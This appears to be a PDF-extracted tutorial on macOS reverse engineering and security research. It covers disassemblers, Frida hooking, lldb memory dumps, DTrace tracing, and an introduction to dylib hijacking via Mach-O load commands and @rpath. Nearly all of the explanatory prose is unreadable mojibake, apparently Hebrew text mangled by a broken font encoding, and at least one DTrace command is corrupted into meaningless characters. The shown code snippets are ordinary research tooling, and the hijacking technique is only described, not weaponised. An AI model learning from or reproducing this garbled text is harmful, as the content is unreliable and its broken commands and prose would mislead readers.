˶˪˟ˬ˯˞˯˧ˡ ˣˬ˩Υ Ghidra ΣHopper Disassembler ΣIDA ProΦ 

  

https://github.com/NationalSecurityAgency/ghidra
https://www.hopperapp.com/
https://hex-rays.com/
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˫˧˪˩ ˣ˪˞ ˫˧˪ˣ˩˧ ˰˴˟˪ ˧˪˟ˬ˯˞˯˧ˡ ˢ˧˴˪˧˲ˬˣ˵˧ˡˣ Σ˶ˬˣ˪˩ ˶ˣ˴˧˪ ˡˣ˵ ˞˧˶˵ ˶˸ˣ˧ ˫ˡ˞˪ Φ˨˩˟ˣ ˰˧˧˯ˬ˫˧ ˧ˣˢ˧ˤ˟ 

ˣ˧˰˟ ˸˸ˣ˧ˠˣ˪ Σmemory corruption ˸ˣ˧˰˟ˣ ˢ˥˦˟˞ ˸ˣ˧˶˷˲˞ ˡˣ˵˟ ˪˲ˬˣ˵ˬˢΥ 

 

 

Dynamic Analysis 

˭˪ˢ˪ ˢˬ˧˷˶ ˪˷ ˫˧˪˩ ˫˧˴ˣ˲ˮ ˫˧˧˷ˣˬ˧˷ˢ ˥ˣ˸˧ˮ˪ ˧ˬˮ˧ˡΥ 

¶ Apple Instruments ύ˵˪˥ ˧˪˩ˬ ˫˧˥˸˲ˬˢ ˪˷ Xcode όπ ˷ˬ˷ˬ ˶ˣ˦˧ˮ˪ ˧˰ˣ˴˧˟ ˫˧ˬˣ˷˧˧ Σ˧ˣˢ˧ˤ ˸ˣ˲˧˪ˡ 

˭ˣ˶˩˧ˤ ˟˵˰ˬˣ ˶˥˞ ˸ˣ˪˧˰˲ ˸˩˶˰ˬ ˫˧˴˟˵ˢΦ 

 

https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html
https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html
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¶ TaskExplorer π ˵˲˯ˬ ˰ˡ˧ˬ ˪˰ ˸ˣˬ˧˷ˬ ˸ˣ˴˶ Σ˪˪ˣ˩ ˯ˣ˦˦˯ ˢˬ˧˸˥ Σ˸ˣ˧˶˲˯ ˸ˣ˧ˬˮ˧ˡ ˸ˣˮ˰˦ˮ˷ ˫˧˴˟˵ˣ 

˫˧˥ˣ˸˲Φ 

¶ FileMonitor π ˶ˣ˦˧ˮ ˶˥˞ ˧˰ˣ˶˧˞ ˫˧˴˟˵ ˭ˣˠ˩ ˢ˶˧˴˧ Σ˧ˣˮ˧˷ ˢ˵˧˥ˬˣΦ 

¶ ProcessMonitor π ˶ˣ˦˧ˮ ˶˥˞ ˢ˶˧˴˧ ˫ˣ˧˯ˣ ˪˷ ˫˧˩˧˪ˢ˸Φ 

¶ Frida π ˸˩˶˰ ˫˧˪˩ ˥ˣ˸˧ˮ˪ ˧ˬˮ˧ˡ ˶ˣ˟˰ ˫˧˥˸˲ˬ Σ˫˧˯ˡˮˢˬ ˶ˣ˥˞˪ ˧˶˵ˣ˥ˣ ˢ˥˦˟˞Φ 

 

ˣ˞ˣ˟ ˦˶˲ˮ ˪˰ frida ˸˴˵ ˶˸ˣ˧Φ 

Frida 

Frida ˞ˣˢ ˧˪˩ ˥ˣ˸˧ˮ ˧ˬˮ˧ˡ ˩˧˷˪ˣ ˶˟˥˸ˢ˪ ˪˞ ˧˵˷ˬˬ sπAPI ˫˧˧ˬ˧ˮ˲ˢ ˪˷ ˫ˣ˷˧˧ ˪˰ˣ˲ Φˢˡ˧˶˲ ˸˷ˬ˸˷ˬ 

˰ˣˮˬ˟ sπJavascript V8 ˧ˡ˩ ˶ˣ˴˧˪ ˢ˟˧˟˯ ˢ˥ˣˮ ˰ˣ˴˧˟˪ Hooking & Memory Interception Φˢˬ ˶˷˲˞ˬ˷ 

ˣˮ˪ ˶˦ˮ˪ ˸ˣˮ˷˪ˣ ˸˞ ˸ˣˠˢˮ˸ˢ ˢ˧˴˵˧˪˲˞ˢ ˭ˬˤ˟ ˸ˬ˞Φ ˭˸˧ˮ ˭˧˵˸ˢ˪ ˸˞ ˢˡ˧˶˲ ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢΥ 

pip3 install frida - tools  

˶˥˞˪ ˢˮ˵˸ˢ Σ˶ˣ˴˧ˮ ˦˲˧˶˵˯ ˪˷ Frida ˟πJavaScript Σ˵˶ˤˣ˧˷ ˢ˧˴˵˧˪˲˞˪Φ ˢˬˠˣˡ˪ Σ˦˲˧˶˵˯ˢ ˞˟ˢ ˦˶˧˧ˬ 

˸˞ ˸˞˧˶˵ ˢ˧˴˵ˮˣ˲ˢ open ˫ˣ˷˧˧˟ macOS ˡ˰˸ˬˣ ˸˞ ˟˧˸ˮˢ ˟˴ˬˢˣ ˪˷ ˳˟ˣ˵ˢ ˪ˣ˯ˮˣ˵˪Υ 

Interceptor . attach ( Module. findExportByName ( null , "open" ), { onEnter : function ( arg s) 
{ console . log ( "File path: " + Memory. readUtf8String (args[ 0])); console . log ( "Mode: " + 
args[ 1]. toInt32 ()); } });  

˷ˬ˸˷ˮ ˢˡˣ˵˲˟ l-frida  ˧ˡ˩ ˵˧˶ˤˢ˪ ˸˞ ˦˲˧˶˵˯ˢ ˪˷ Frida ˫ˣ˷˧˧˪ s-macOS ˳˶˷ ˪˰ˣ˲˟Φ 

 

  

https://objective-see.org/products/taskexplorer.html
https://objective-see.org/products/taskexplorer.html
https://objective-see.com/products/utilities.html#FileMonitor
https://objective-see.com/products/utilities.html#FileMonitor
https://objective-see.org/products/utilities.html#ProcessMonitor
https://objective-see.org/products/utilities.html#ProcessMonitor
https://frida.re/
https://frida.re/
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Memory Analysis 

˸ˣ˰˴ˬ˞˟ ˸˞˧˶˵ ˭ˣ˶˩˧ˤˢ Σ˪˩ˣˮ ˸ˣ˪ˠ˪ ˰ˡ˧ˬ ˷˧ˠ˶ ˪ˣ˪˰˷ ˱˷˥˧ˢ˪ ˫˧˲˵ˣ˸˪ Σ˸ˣ˟˶˪ ˸ˣ˞ˬ˯˧˯ Σ˸ˣ˥˸˲ˬ 

ˢˮ˲˴ˢ ˰ˡ˧ˬˣ ˷˧ˠ˶ ˱˯ˣˮ ˭˯˥ˣ˞ˬˢ ˭˲ˣ˞˟ ˧ˮˬˤ ˭ˣ˶˩˧ˤ˟ ˨˪ˢˬ˟ ˸˴˧˶ ˢ˧˴˵˧˪˲˞ˢΦ 

˸˥˞ ˫˧˩˶ˡˢ ˥ˣ˸˧ˮ˪ ˭ˣ˶˩˧ˤˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢ ˞˧ˢ ˷ˣˬ˧˷ ˧˪˩˟ lldb Σ˶ˠ˞˟˧ˡ ˸˶˧˶˟ ˪ˡ˥ˬˢ ˪˷ Xcode Σ

˷ˬ˷ˬˢ ˨˶ˡ˟ ˪˩ ˪˥ˣ˸˧ˮ˪ ˧ˬˮ˧ˡ ˪˷ ˫˧ˬˣ˷˧˧ Φlldb ˶˷˲˞ˬ ˸ˣ˶˟˥˸ˢ ˫˧˩˧˪ˢ˸˪ ˫˧˴˶ Σ˸˶ˡˠˢ ˸ˣˡˣ˵ˮ 

ˢ˶˧˴˰ Σ˸˵˧ˡ˟ ˭ˣ˶˩˧ˤ ˦ˣˣ˧ˮˣ ˡˣ˵˟Φ 

˧ˡ˩ ˷˲˥˪ ˫˧ˮˣ˸ˮ ˫˧˷˧ˠ˶ Σ˪˩ˣˮ ˶ˣ˴˧˪ dump ˪˷ ˭ˣ˶˩˧ˤ ˨˧˪ˢ˸ˢ ˸ˣ˰˴ˬ˞˟ ˫˧˟˪˷ˢ ˫˧˞˟ˢΦ ˸˧˷˞˶ Σˣ˞ˣ˟ 

˞˴ˬˮ ˸˞ sπPID ˪˷ ˨˧˪ˢ˸ ˢ˴˧˶ˢ ˣˮ˪˷ ˸˶ˤ˰˟ ˢˡˣ˵˲ˢ ˢ˞˟ˢΥ 

ps aux | grep - i "app name"  

˶˥˞˪ ˭˩ˬ Σ˷ˬ˸˷ˮ ˟-lldb ˪˰ ˸ˮˬ ˸ˣ˷˰˪ ˶˟˥˸ˢ˪ ˨˧˪ˢ˸˪ ˧˦ˮˣˣ˪˶ˢ: 

lldb -- attach - pid 44434 Ʒ> 44444 // PID of process  

˟ˣ˷˥ ˶ˣ˩ˤ˪ ˢˡ˧ˬ˟˷ sx-SIP ˪˰˲ˣˬ Σ˭˸˧ˮ ˭˧˧ˡ˰ ˱˶˴˪ ˫˧ˬˣ˷˧˧ ˫˧ˬˣ˸˥ ˫˰ ˢ˞˷˶ˢˢ allow-task-get Σ

˸˶˷˲˞ˬ˷ ˫˧˩˧˪ˢ˸˪ ˫˧˶˥˞ ύˣˬ˩ ˶ˠ˞˟ˡ˫˧ ό˶˟˥˸ˢ˪ ˢ˧˴˵˧˪˲˞˪Φ ˡˣ˰˪  :˞˷ˣˮ˟ ˰ˡ˧ˬ˭˞˩. 

˧ˡ˩ ˰˴˟˪ dump ˭ˣ˶˩˧ˤ˪ Σ˷ˬ˸˷ˮ ˢˡˣ˵˲˟ ˢ˞˟ˢ ˨ˣ˸˟ lldbΥ 

process save- core  <output file > 

˦˪˲ˢˣ: 

 

https://lldb.llvm.org/
https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger
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˶˥˞˪ ˭˩ˬ Σ˷ˬ˸˷ˮ ˟-strings ˧ˡ˩ ˷˲˥˪ ˰ˡ˧ˬ ˷˧ˠ˶ ˳˟ˣ˵˟ ˦˪˲ˢ ˶˴ˣˮ˷Υ 

 

ˣˬ˩ ˭˩ Σ˭˸˧ˮ ˭ˣ˰˦˪ ˸˞ ˳˟ˣ˵ ˢ˴˶ˢˢ ˪˷ ˫ˣ˷˧˧ˢ ˨ˣ˸˪ lldb ˷ˬ˸˷ˢ˪ˣ ˸ˣˡˣ˵˲˟ ˸ˣˮˣ˷ ˧ˡ˩ ˪˟˵˪ ˰ˡ˧ˬ ˪˰ 

˨˧˪ˢ˸ˢ ˪˰ˣ˲ˢ Φˢˬˠˣˡ˪ Υ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢˡˣ˵˲˟: 

process status  

˧ˡ˩ ˠ˧˴ˢ˪ ˸˞ ˟˴ˬˢ ˫ˣ˵˧ˬˣ ˢ˶˧˴˰ˢ ˶ˣ˟˰ ˧˪ˢ˸ ˨ˡ˰˧ˢ ˧˥˩ˣˮˢ Σˢˡˣ˵˲ˢ thread list ˯˧˲ˡ˸ ˸˞ ˸ˬ˧˷˶ ˪˩ 

˫˧˶ˣ˷˶˷ˢ ˨˧˪ˢ˸˟ Σ:x 

image list  

˦˶˲˸ ˸˞ ˸ˣ˧˶˲˯ˢ ˸ˣˮˣ˰˦ˢ ˨˧˪ˢ˸˟Φ 

˧ˡ˩ ˭ˣ˥˟˪ ˸˞ ˭ˣ˶˩˧ˤ ˢ˧˴˵˧˪˲˞ˢ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˸ˣ˧˴˵ˮˣ˲˟ memory read xπdisassemble ˪˰ ˸˟ˣ˸˩ ˭ˣ˶˩˧ˤ 

ˣ˞ ˥ˣˣ˦ ˸ˣ˟ˣ˸˩ Φmemory read π ˶ˣˤ˰˧ ˣˮ˪ ˥˸ˮ˪ ˞ ˸˧˩˶˰ ˫˧ˮ˸˷ˬˢ x˞ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˭ˣ˶˩˧ˤ˟ ˫ˣ˷˧˧ˢ Φ

disassmble π ˶ˣˤ˰˧ ˭˧˟ˢ˪ ˡ˴˧˩ ˢ˧˴˵˧˪˲˞ˢ ˸˪˰ˣ˲ ˸ˣˢˤ˪ˣ ˸ˣˡˣ˵ˮ ˢ˲˶ˣ˸: 
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˧˪˩ ˱˯ˣˮ ˥ˣ˸˧ˮ˪ ˭ˣ˶˩˧ˤ ˞ˣˢ DTrace Σ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ x˟ ˥ˣ˸˧ˮ˪ ˷ˣˬ˧˷ˢ ˭ˣ˶˩˧ˤ˟ ˪˷ ˫˧˩˧˪ˢ˸ Φ˭˪ˢ˪ ˠˣˡˢˬ 

˷ˣˬ˧˷˪ ˟πDTrace ˥ˣ˸˧ˮ˪ ˭ˣ˶˩˧ˤΥ 

¶ ˸˧˷˞˶ Σ˷˧ ˞ˣ˴ˬ˪ ˸˞ ˢˢˤˬ ˨˧˪ˢ˸ˢ ύPID ό˪˷ ˫ˣ˷˧˧ˢ ˣˮˮˣ˴˶˟˷ ˥˸ˮ˪ Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˪˰ ˧ˡ˧ ˸˴˶ˢ 

ˢˡˣ˵˲ˢ ˞˟ˢΥ 

ps aux | grep <application name > 

˧˶˥˞ ˣˮ˪˟˧˵˷ ˸˞ s-PID Σ˭˸˧ˮ ˱˶˴˪ DTrace ˨˧˪ˢ˸˪ ˡ˰˧ˢ ˸ˣ˰˴ˬ˞˟ ˢˡˣ˵˲ˢ ˢ˞˟ˢ Υ  

sudo dtrace - n ƥÐÉÄʙÔÁÒÇÅÔƙƙÍÁÌÌÏÃƙÅÎÔÒÙ ǅ ÔÒÁÃÅƽÁÒÇʣƾƘ ǆƦ - p <PID> 

ˢˡˣ˵˲ xʕ ˢ˴˧˶ˬ ˦˲˧˶˵˯ DTrace ˟˵ˣ˰ˢ ˶˥˞ ˸ˣ˞˧˶˵ ˢ˧˴˵ˮˣ˲ˢ malloc ˨˧˪ˢ˸˟ ˧˲˧˴˲˯ Φ˶˷˞˩ ˢ˧˴˵ˮˣ˲ˢ 

malloc ˸˞˶˵ˮ Σ˦˲˧˶˵˯ˢ ˯˧˲ˡˬ ˸˞ ˸˟ˣ˸˩ ˭ˣ˶˩˧ˤˢ ˢ˸˴˵ˣˢ˷Υ 

 

˭˸˧ˮ ˸ˣˮ˷˪ ˸˞ ˦˲˧˶˵˯ DTrace ˧ˡ˩ ˳˪˥˪ ˫˧ˮˣ˸ˮ ˫˧˲˯ˣˮ Φˡ˪ˢˬˠˣ Σ˶˷˲˞ ˸ˣˮ˷˪ ˸˞ ˦˲˧˶˵˯ˢ ˧ˡ˩ ˟ˣ˵˰˪ 

˶˥˞ ˸ˣ˞˴˵ˢ ˭ˣ˶˩˧ˤˢ ˧˲˪ ˪ˡˣˠ x˞ ˯˧˲ˡˢ˪ stack traces ˶ˣ˟˰ ˪˩ ˢ˞˴˵ˢ Φ˰ˡ˧ˬ˪ ˱˯ˣˮΣ ˧˧˰ˣˮ ˭˞˩. ˣˡ˧˲˵ˢ 

˵ˣˡ˟˪ ˸˞ ˫˧˦˲˧˶˵˯ˢ ˪˷ s-DTrace ˪˰ ˸˩˶˰ˬ ˸˟˧˟˯˟ ˸ˣ˵˧ˡ˟ ˧ˮ˲˪ ˣ˸˪˰˲ˢ ˪˰ ˸˩˶˰ˬ ˶ˣ˴˧˧ ˡ˧ˬ˸ˣ 

ˣ˞ˡˣ ˷˧˷ ˧ˣ˟˧ˠ ˪˷ ˮ˫˧ˮˣ˸ ˫˧˟ˣ˷˥Φ 

˶˥˞˪ ˣˮ˵˯˰˷ ˥ˣ˸˧ˮ˟ ˫˧˴˟˵ Σ˵˧ˬ˰ˮ ˸˴˵ ˪˰ ˸ˣ˲˵˸ˬ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˧˴˵˧˪˲˞˪ Φ 

 

Dylib Hijacking 

˸˲˵˸ˬ Dylib hijacking ˞˧ˢ ˢ˲˵˸ˬ ˢ˰ˣˡ˧ ˟πmacOS ˢ˟˷ ˱˵ˣ˸ ˱˧˪˥ˬ ˸˞ ˧˴˟˵ ˸ˣ˧˶˲˯ˢ ύdylib ό

˫˧˧ˬ˧˦˧ˠ˪ˢ ˫˧˴˟˵˟ ˫˧˧ˮˣˡˤ Σˢˬˣˡ˟ ˸˲˵˸ˢ˪ dll hijacking ˸˶˩ˣˬˢ ˢ˰ˣˡ˧ˢˣ ˪ˣ˰ˬ˸ˣˬ ˯ˣˡˮ˧ˣˢΦ 

ˢˬˡ˵ˢ ˪-dyld xdylibs 

˧ˡ˩ ˭˧˟ˢ˪ ˢ˵˧ˮ˩˦ xʕ Σˣ˞ˣ˟ ˵˧ˬ˰ˮ ˫ˡˣ˵ ˭˲ˣ˞˟ ˣ˟˷ ˫˧ˬˣ˷˧˧ ˫˧ˮ˰ˣ˦ ˸ˣ˧˶˲˯ ˸ˣ˧ˬˮ˧ˡΦ πmacOS Σˢˬˣˡ˟ 

˸ˣ˩˶˰ˬ˪ ˢ˪˰˲ˢ ˸ˣ˶˥˞ Σ˫˧˷ˬ˸˷ˬ ˶˷˵ˬ˟ ˧ˬˮ˧ˡ ύdynamic linker ό˧ˡ˩ ˭ˣ˰˦˪ ˸ˣ˧˶˲˯ ˸ˣ˧ˬˮ˧ˡ Σ˸ˣ˰ˣˡ˧ˢ 

˫ˠ ˫˷˟ ˸ˣ˧˶˲˯ ˸ˣ˲˸ˣ˷ˬ x˞ dylibsΦ 

  

http://dtrace.org/blogs/about/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
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˶˷˞˩ ˨˧˪ˢ˸ ˪˰˲ˣˬ ΣπsMach-O Loader ˭˰ˣ˦ ˸˞ ˡˣ˵ ˫ˣ˷˧˧ˢ ˸˞ˣ ˫˧ˮˣ˸ˮˢ ˣ˪˷ ˨ˣ˸˪ ˟˥˶ˬ ˸ˣ˟ˣ˸˩ˢ ˪˷ 

˨˧˪ˢ˸ ˷ˡ˥ Φ˞ˣˢ ˫ˠ ˭˰ˣ˦ ˸˞ sπdynamic linker ύ˰ˣˡ˧ˢ ˫ˠ ˫˷˟ dyld ό˨ˣ˸˪ ˨˧˪ˢ˸ˢ ˶˧˟˰ˬˣ ˸˞ ˢ˦˧˪˷ˢ 

ˣ˧˪˞Φ 

˧˴˟˵ ˢ˴˶ˢ ˪˷ macOS ˫˧˷ˬ˸˷ˬ ˦ˬ˶ˣ˲˟ Mach-O Φπsdynamic linker ˵ˡˣ˟ ˸˞ header Mach-O ˪˷ 

˫ˣ˷˧˧ˢ ˧ˡ˩ ˰ˣ˟˵˪ ˸˞ ˸ˣ˧ˣ˪˸ˢ ˣ˪˷ ˸ˣ˧˶˲˯˟ ˸ˣ˧ˬˮ˧ˡΦ Header Mach-O ˪˧˩ˬ ˰ˡ˧ˬ ˣˬ˩ ˸ˬ˧˷˶ ˸ˣ˧˶˲˯ˢ 

˸ˣ˲˸ˣ˷ˬˢ ˸ˣ˷˶ˡˮˢ ˪˰ ˧ˡ˧ ˫ˣ˷˧˧ˢ ˸ˣˬ˷ˣ ˢˮ˵˸ˢˢ ˭ˢ˪˷ Φ˫˷ ˢˮ˵˸ˢˢ ˞ˣˢ ˟˧˸ˮˢ ˞˪ˬˢ ˢ˧˧˶˲˯˪ Σ

˭˯˥ˣ˞ˬˢ ˣ˵˲˟˸ˣˡ ˢˮ˧˰˦ˢ LC_LOAD_DYLIB x˞ LC_ID_DYLIBdylib  ˪˷ ˧˶˞ˮ˧˟ˢΦ 

 

˸ˣˡˣ˵˲ ˢˮ˧˰˦ˢ ˸ˣ˵˲˯ˬ ˰ˡ˧ˬ ˪-dynamic loader ˡ˴˧˩ ˭ˣ˰˦˪ ˶˷˵˪ˣ ˧˶˞ˮ˧˟ x˞ ˸ˣ˧˶˲˯ ˭ˬˤ˟ ˢ˴˧˶ Φ˦ˬ˶ˣ˲ 

Mach-O ˷ˬ˸˷ˬ ˶˲˯ˬ˟ ˫˧ˠˣ˯ ˪˷ Ϧ˸ˣˡˣ˵˲ ˢˮ˧˰˦ ΣϦ˭ˢ˧ˮ˧˟Υ 

¶ LC_LOAD_DYLIB - ˭˧˧˴ˬ ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ˷˧˷ ˭ˣ˰˦˪ ˭ˬˤ˟ ˢ˴˧˶ ,˞˧ˢˣ ˸˟˧˧˥ ˭˰˦˧ˢ˪ ˸˰˟ ˸˴˶ˢ 

˶˞ˮ˧˟ˢ x˞˧ ˢ˧˧˶˲˯ˢ. 

¶ LC_LOAD_WEAK_DYLIB - ˭˧˧˴ˬ ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ˸˶˷ˣ˵ˬˢ ˭˲ˣ˞˟ ˷˪˥ Φˢ˶˵ˬ˟ ˞˧ˢ˷ ˞˪ ˸˞˴ˬˮ Σ

˧˶˞ˮ˧˟ˢ x˞ ˢ˧˧˶˲˯ˢ ˭˧˧ˡ˰ ˣ˴˶ˣ˧ ˞˪˪ ˢ˰˶˲ˢΦ 

¶ LC_REEXPORT_DYLIB - ˧˧˴ˬ ˭ˢ˧˧˶˲˯ ˸˧ˬˮ˧ˡ ˷˧˷ ˞˴˧˧˪ ˷ˡ˥ˬ ˪˰ ˧ˡ˧ ˧˶˞ˮ˧˟ˢ x˞ ˢ˧˧˶˲˯ˢΦ 

πsdynamic loader ˷ˬ˸˷ˬ ˸ˣˬ˷˟ ˢˮ˵˸ˢˢ ˷ ˪˸ˣ˧˶˲˯ˢ ˸ˣ˧ˣ˪˸ˢ ˧ˡ˩ ˶˸˞˪ ˭˸ˣ˞ ˸˩˶˰ˬ˟ ˫˧˴˟˵ˢ Φ

˫˧˶˵ˬ˟ ˫˧ˬ˧ˣ˯ˬ Σ˭˩˸˧˧ ˫˷ˢ˷ ˞˪ˬˢ ˪˷ ˸ˣ˧˶˲˯ˢ ˞˪ ˢ˧ˢ˧ ˰ˣˡ˧ ˭ˬˤ˟ ˢ˶˧˴˧ˢ Φ 

˫˧˥˸˲ˬ ˫˧˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˟πҔshortcutκғϪ ˧ˡ˩ ˭˧˧˴˪ ˟˧˸ˮ ˞˪ˬ ˪πdylib ˸˧˯˥˧ ˳˟ˣ˵˪ ˢ˴˶ˢˢ ˧˷˞˶ˢ Φ 

  

https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
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˫˧ˬ˧˧˵ ˢ˷ˣ˪˷ ˫˧ˮ˸˷ˬ ˫˧˧˶˵˧˰ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˫ˢ˟ ˵ˢ˩˸ˬˡ ˟˧˸ˮΥ 

¶ @executable_path - ˢˮ˸˷ˬ ˢˤ ˱˪˥ˣˬ ˟˧˸ˮ˟ ˢ˧˧˵˧˸˪ ˢ˪˧˩ˬˢ ˸˞ ˳˟ˣ˵ ˢ˴˶ˢˢ ˧˷˞˶ˢ ˪˷ 

˨˧˪ˢ˸ˢ ,ˢˬˠˣˡ˪ ,/Applications/Dummy.app/Contents/MacOSΦ 

¶ @loader_path π ˢˮ˸˷ˬ ˢˤ ˱˪˥ˣˬ ˟˧˸ˮ˟ ˢ˧˧˵˧˸˪ ˢ˪˧˩ˬˢ ˸˞ ˧˶˞ˮ˧˟ˢ o-mach Σ˪˧˩ˬ˷ ˸˞ ˸ˡˣ˵˲ 

ˢˮ˧˰˦ˢΦ 

¶ @rpath π ˢˮ˸˷ˬ ˢˤ ˬ˱˪˥ˣ ˡ˥˞˟ x˞ ˶˸ˣ˧ ˫˧˟˧˸ˮˢˬ ˣˮ˧ˣ˴˷ ˪˰ ˧ˡ˧ ˸ˡˣ˵˲ LC_RPATH ˭ˬˤ˟ ˢ˴˧˶Φ 

˸ˣ˧˶˲˯ ˫˰ ˫˧˟˧˸ˮ ˫˧˧ˬˮ˧ˡ ύ˸˧˯˥˧ ˫ˣ˷˧˧˪ ό˸ˣ˰ˣˡ˧ ˫ˠ ˩Ϧpath dependent libraries-run  ΦϦ˫˧˥˸˲ˬ ˫˧˪ˣ˩˧ 

˷ˬ˸˷ˢ˪ ˸ˡˣ˵˲˟ install_name_tool ˧ˡ˩ ˶˧ˡˠˢ˪ ˸˞ @rpath Φˢˬˠˣˡ˪ Σˢˡˣ˵˲ˢ ˢ˞˟ˢ ˢ˶˧ˡˠˬ ˸˞ 

ά@rpath/custom.dylib έ˫˷˩ ˢˮ˵˸ˢˢ ˪˷ ˢ˧˧˶˲˯ ˫˷˟ άcustom.dylib Υέ 

install_name_tool - id @rpath/custom.dylib custom.dylib  

 

˭ˬˤ˟ ˢ˴˧˶ Σ˳˟ˣ˵ˢ ˧˶˞ˮ˧˟ˢ ˵˲˯ˬ ˸ˬ˧˷˶ ˧˟˧˸ˮ ˷ˣ˲˧˥ ˸ˣ˰˴ˬ˞˟ ˸ˡˣ˵˲ ˢˮ˧˰˦ˢ LC_RPATH ˳˟ˣ˵˟ 

O-Mach Φ˸ˡˣ˵˲ LC_RPATH ˸˶ˡˠˣˬ ˪˰ ˧ˡ˧ ˸ˮ˩˸ˬˢ ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˥ˣ˸˧˲ˢ ˬ˟˸ˡ˧ ˨˶ˣ˴ˢΦ 

 

˸˰˟ ˸ˮ˧˰˦ ˳˟ˣ˵ ˢ˴˶ˢ Σdyld ˰˴˟ˬ ˸˞ ˫˧˟˪˷ˢ ˫˧˞˟ˢΥ 

¶ ˶ˣ˟˰ ˪˩ ˢ˧˧˶˲˯ ˢ˧ˣ˪˸ Σdyld ˵ˡˣ˟ ˫˞ˢ ˢ˧˧˶˲˯ˢ ˢ˧ˣ˪˸ˢ ˶˟˩ ˸˞˴ˬˮ ˟-dyld shared cache ύ˭ˣˬ˦ˬ 

ˢˮ˟ˣˬ ˷˞˶ˬ ˪˷ dylibs xπframeworks ˸ˣ˵˲ˣ˯ˬˢ ˪˰ ˧ˡ˧ ˸˩˶˰ˬˢ ˭ˣˬ˦ˬˢ ˱˸ˣ˷ˬˢ ˫˵ˣˬˬ ˟˧˸ˮ˟ Υ

κSystem/Library/dyld/dyld_shared_cache_*.). 

¶ ˫˞ ˢ˧˧˶˲˯ˢ ˢˮ˧˞ ˸˞˴ˬˮ ˭ˣˬ˦ˬ˟ ˱˸ˣ˷ˬˢ Σdyld ˷˲˥ˬ ˫ˣ˵˧ˬ˟ ˭˧ˣ˴˷ ˸ˡˣ˵˲˟ ˢˮ˧˰˦ˢ 

LC_LOAD_*DYLIBΦ 

Á ˫˞ ˫ˣ˵˧ˬˢ ˶ˡˠˣˬ ˩π@rpath Σπsdyld ˷˲˥ˬ ˸˞ ˢ˧˧˶˲˯ˢ ˢ˧ˣ˪˸ˢ ˟˧˸ˮ˟ ˷ˣ˲˧˥ˢ ˭ˬˤ˟ ˢ˴˧˶ 

ύpath search runtime ό˰ˬ˦ˣˬˢ ˳˟ˣ˵˟ ˢ˴˶ˢˢ x˞ ˟πdylib ˣˬ˴˰ Φ 

¶ ˫˞ ˶˲˯ˢˢ˧˧ ˭˧˧ˡ˰ ˞˪ ˢ˞˴ˬˮ Σdyld ˷˲˥ˬ ˸˞ ˢ˧˧˶˲˯ˢ ˢ˧ˣ˪˸ˢ ˫˧˟˧˸ˮ˟ ˫˧˧˦˶ˡˮ˦˯ ˭ˣˠ˩ Υ

/usr/local/lib, /usr/lib Σπx./System/Library/Frameworks 

¶ ˢ˶˵ˬ˟ ˸˥˞˷ ˸ˣ˧˶˲˯ˢˬ ˢ˶˯˥ x˞ ˸ˬ˧˧˵ ˧˞πˢˬ˞˸ˢ ˢ˧˸ˣ˞˯˶ˠ˟ Σ˸ˣ˧˶˲˯ˢˣ ˞˪ ˸ˣˮˬˣ˯ˬ ˸ˣ˷˪˥˩ 

ύ˸ˣ˧˪ˮˣ˧˴˲ˣ˞ Σό˨˧˪ˢ˸ ˢ˪˰˲ˢˢ ˵˯˲ˣˬΦ 

  

https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html#:~:text=A%20run-path%20dependent%20library,How%20Dynamic%20Libraries%20Are%20Used).
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
